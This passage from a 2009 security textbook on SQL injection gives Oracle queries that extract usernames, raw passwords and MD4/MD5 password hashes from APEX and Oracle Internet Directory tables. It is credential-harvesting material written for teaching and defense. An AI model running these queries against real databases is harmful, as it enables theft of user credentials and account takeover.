SQL Injection Attacks and Defense - 2009

select user_name,web_password_raw from flows_020000.wwv_flow_fnd_user;
select user_name,web_password_raw from flows_020100.wwv_flow_fnd_user;
select user_name,web_password_raw from flows_020200.wwv_flow_fnd_user;
Exploiting SQL Injection • Chapter 4 197
Since APEX 3.0, the MD5 passwords are salted with the security_group_id and the username,
and are returned as follows:
select user_name,web_password2,security_group_id from
flows_030000.wwv_flow_fnd_user;
select user_name,web_password2,security_group_id from
flows_030000.wwv_flow_fnd_user;
Oracle Internet Directory
Oracle Internet Directory (OID), the Oracle Lightweight Directory Access Protocol
(LDAP) directory, comes with many hashed passwords in various tables. You can access
the password hashes of OID if you have normal access to all users in the company.
For compatibility reasons, OID saves the same user password with different hashing
algorithms (MD4, MD5, and SHA1).
The following statements return the password hashes of OID users:
select a.attrvalue ssouser, substr(b.attrval,2,instr(b.attrval,'}')-2)
method,
rawtohex(utl_encode.base64_decode(utl_raw.cast_to_raw(substr
(b.attrval,instr(b.attrval,'}')+1)))) hash
from ods.ct_cn a,ods.ds_attrstore b
where a.entryid=b.entryid
and lower(b.attrname) in (
'userpassword','orclprpassword','orclgupassword','orclsslwalletpasswd',
'authpassword','orclpassword')
and substr(b.attrval,2,instr(b.attrval,'}')-2)='MD4'
order by method,ssouser;
select a.attrvalue ssouser, substr(b.attrval,2,instr(b.attrval,'}')-2)
method,
rawtohex(utl_encode.base64_decode(utl_raw.cast_to_raw(substr
(b.attrval,instr(b.attrval,'}')+1)))) hash
from ods.ct_cn a,ods.ds_attrstore b
where a.entryid=b.entryid
and lower(b.attrname) in (
'userpassword','orclprpassword','orclgupassword','orclsslwalletpasswd',
'authpassword','orclpassword')
and substr(b.attrval,2,instr(b.attrval,'}')-2)='MD5'
order by method,ssouser;